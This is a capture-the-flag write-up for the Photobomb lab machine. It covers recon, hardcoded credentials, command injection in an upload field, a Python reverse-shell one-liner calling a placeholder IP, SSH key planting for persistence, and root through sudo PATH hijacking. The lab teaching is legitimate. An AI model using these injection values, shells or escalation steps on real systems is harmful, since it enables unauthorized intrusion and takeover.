Photobomb

Write Up for the easy box Photobomb

Photobomb

So firstly, lets take a look at the box name. It's called photobomb and has a quirky picture of a cartoonish bomb with a camera lens (a photobomb!!1!) so maybe it's to do with some sort of steganography or something??

As always, the first thing to do is connect to the VPN and add the IP to your /etc/hosts file with

sudo vim /etc/hosts

Visiting the site reveals a landing page with not that much information besides a hyperlink labeled 'click here!'

Clicking the link gives a popup telling me to sign in

Trying standard default credentials like admin:admin or user:password didn't work, so I probably have to find some other way in.

Recon

So let's do some preliminary scanning.

I started up gobuster to enumerate common directories with

gobuster dir -u photobomb.htb -w /usr/share/wordlists/dirb/common.txt

favicon.ico is just the little tab icon, and I can't access the printer and printers directory because I need the aforementioned username as password (401 means unauthorized).

Lets try nmap. Start up a dirty scan with

nmap -A photobomb.htb

You also can include the -p- flag to tell nmap to scan all ports, but it usually takes a while. Run it in the background. Heres the results of the normal scan:

Nothing interesting. Start up the -p- scan and let it run while we try to find some other way in.

Looking at the page source of the photobomb site shows that the JavaScript being ran on the page is being sourced from a file called 'photobomb.js'

Clicking that to see whats in it reveals that the site is literally checking for a certain username and password shown in plaintext

Looks like the username is 'pH0t0' and the password is 'b0Mb!'.

Just in case, I checked to see if I can use these credentials to ssh to the box with

ssh pH0t0@photobomb.htb

NOPE, you need a valid ssh key to get in. This means even if we do find user credentials, we aren't going to be able to ssh unless we can somehow read their private ssh key (pretty unlikely).

But we got credentials to get into that /printer directory now.

The credentials work and we get to a page with some photos and the ability to download them either as JPGs or PNGs with different sizes. Lets see whats at /printers

Uh, idk wtf this is, looks like some weird request handling page? I'll ignore it until I have no where else to go.

Going back to /printer, I can select any of those given photos and download it. Works pretty standard to, I get what I select. Let's see what happens when I capture a download request with Burpsuite.

Looks like its making a POST request with the desired arguments, being the file name, the filetype, and dimensions of the file.

Lets see what happens when I intercept the response to this request.

Ok, the response is the file, duh.

Alright so here I REALLY didn't want my original prediction of steganography to be true because that would entail me downloading every photo and every variation of those photos and looking for hidden data in all of them.

Typing it out right now makes me realize that makes it kinda obvious that that's not the solution, but I really didn't want to have to do that.

So what can we do then?

Well, we can test for injection in the POST request, it has to be retrieving the files somehow.

So capture another download request, right click anywhere in the request and click 'Send to Repeater' so we don't have to capture a billion download requests (and download a billion files).

Normally I'd try to do some fuzzing here but I think it would be better to just test out injection by hand. I'll do this by just adding a semicolon to the end of the fields to see if I can get another command to run. Lets try the photo field first.

Didn't work, I got an error 500.

Let's try the filetype field.

Okay, this is actually notable. Changing the request to ACTUALLY be incorrect, like .jp instead of .jpg, shows that the response SHOULD say 'invalid filetype'

Instead, it says it failed to create a copy, that's significant. Before I dive into that more, lets try the final field, dimensions.

Okay, same thing as the file name. Alright lets try to get a RCE on this filetype field.

Foothold

After around half an hour of trying to get something to show in the response I finally got something.

I tried setting the field to ping Google, if the response wasn't instant, it would mean that the webserver is taking the time to actually execute the ping command, meaning this is definitely our RCE.

filetype=jpg;ping+-c+1+8.8.8.8

Sure enough, it took a few seconds more than normal, so I gotta figure out how to get a reverse shell from this.

Going forward, it should be known that I assumed that this web server has python (linux usually does, and especially boxes usually do) so I'll try to make a python reverse shell to run. It'll have to be URL encoded though, since this IS a POST request.

I went to this github page (bookmark it, its so good) to get a python shell

PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings

And chose this one

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

(I cut it in two to save space)

For no specific reason, I just liked how it looked more than the first one. When using this, you'll have to change the '10.0.0.1' to your VPN's IP, which you can find with

ifconfig

and look under tun0. You also can change the '4242' port to whatever port you want, I like 4444 because it's lucky c:

So now that we have our reverse shell script, we have to URL encode it. To do this, I originally started off encoding it by hand (replacing every space with a +, every quote with a /22) and then realized I'm a colossal idiot and can use an online URL encoding tool like https://www.urlencoder.org/

Copy and pasting the script in there, we get a nice URL encoded payload

So now we have to make a listener. Do that with netcat using

nc -lvnp 4444

(or whatever port you chose)

Go back to Burpsuite repeater, slap a semicolon after the jpg in the filetype field, copy and paste the payload, and what do we get???

Nothing. Another 'failed to generate' response.

Uhhh, lets change the payload to try python3 rather than python??

yoooooooooooo

we in there

Looks like I'm a user called 'wizard'

And we're in the photobomb directory. Go to /home/wizard and cat user.txt for the user flag!

Alright so I want to get out of this crusty shell, a single accidental ctrl+c or arrow key can ruin our session. We have to get passed that ssh key defense we found earlier though.

Going to /home/wizard/.ssh reveals that there isn't one already, so make one using

ssh-keygen

and just leave the password and stuff empty by spamming enter a couple of times.

Now make a new terminal tab/window, and navigate to your own .ssh directory at ~/.ssh and copy your id_rsa.pub key (it's your public key, don't be afraid of accidentally showing people it, such as other users on the box).

Go back to your reverse shell and put it into a file called 'authorized_keys' in the ssh directory with

echo "<your copied public key>" >> ~/.ssh/authorized_keys

Once done, you should be able to ssh as wizard with

ssh wizard@photobomb.htb

Now we have a good shell! Lets just hope there aren't trolls on the box that'll delete your key...

Privilege Escalation

So we have the user flag, and we have a nice shell. Let's try to become root. The first thing on the priv esc checklist is to check if you have sudo permissions. Check it out with

sudo -l

Looks like this wizard guy can run /opt/cleanup.sh as root. Normally this would be a slam dunk, we can just make our own fake cleanup.sh file that opens a shell, add a directory like our home directory our /tmp to the file PATH, using sudo to call the file will cause the system to run OUR file, and we'd be root.

However, we can't do that here, as 'secure_path' is set, meaning we are restricted to that PATH and can't change it.

Or can we?

It looks like we also have access to the SETENV command, which can effectively nullify the secure_path restriction, we just have to figure out how. I googled for around 5 or so minutes and found this page:

Linux Privilege Escalation: Python Library Hijacking - Hacking Articles
In this article, we will demonstrate another method of Escalating Privileges on Linux-based Devices by exploiting the Python Libraries and scripts. Table of Content Introduction

Specifically, this part:

The sudo permissions that they have look very similar to what we have, so this is probably what we have to do.

We're not done yet though, we only have sudo permissions to run /opt/cleanup.sh specifically, so lets open up that file to see whats in it with:

cat /opt/cleanup.sh

We're trying to find calls in which whoever wrote this script calls a command with relative pathing.

Sure enough, on the last line whoever wrote this script calls 'find' without specifying an absolute path, meaning we can just make our own 'find' file!

Alright cool, lets make a shell script. When in a directory like your home directory (/home/wizard) do:

echo "/bin/bash" > find

make it executable with

chmod +x find

So in that specific article, they change python's path with PYTHONPATH=. Can we change the regular path with PATH=?

sudo PATH=/home/wizard:$PATH /opt/cleanup.sh

<hacker voice: im in>

Well, I guess we technically were already 'in' but now we're root!

cat /root/root.txt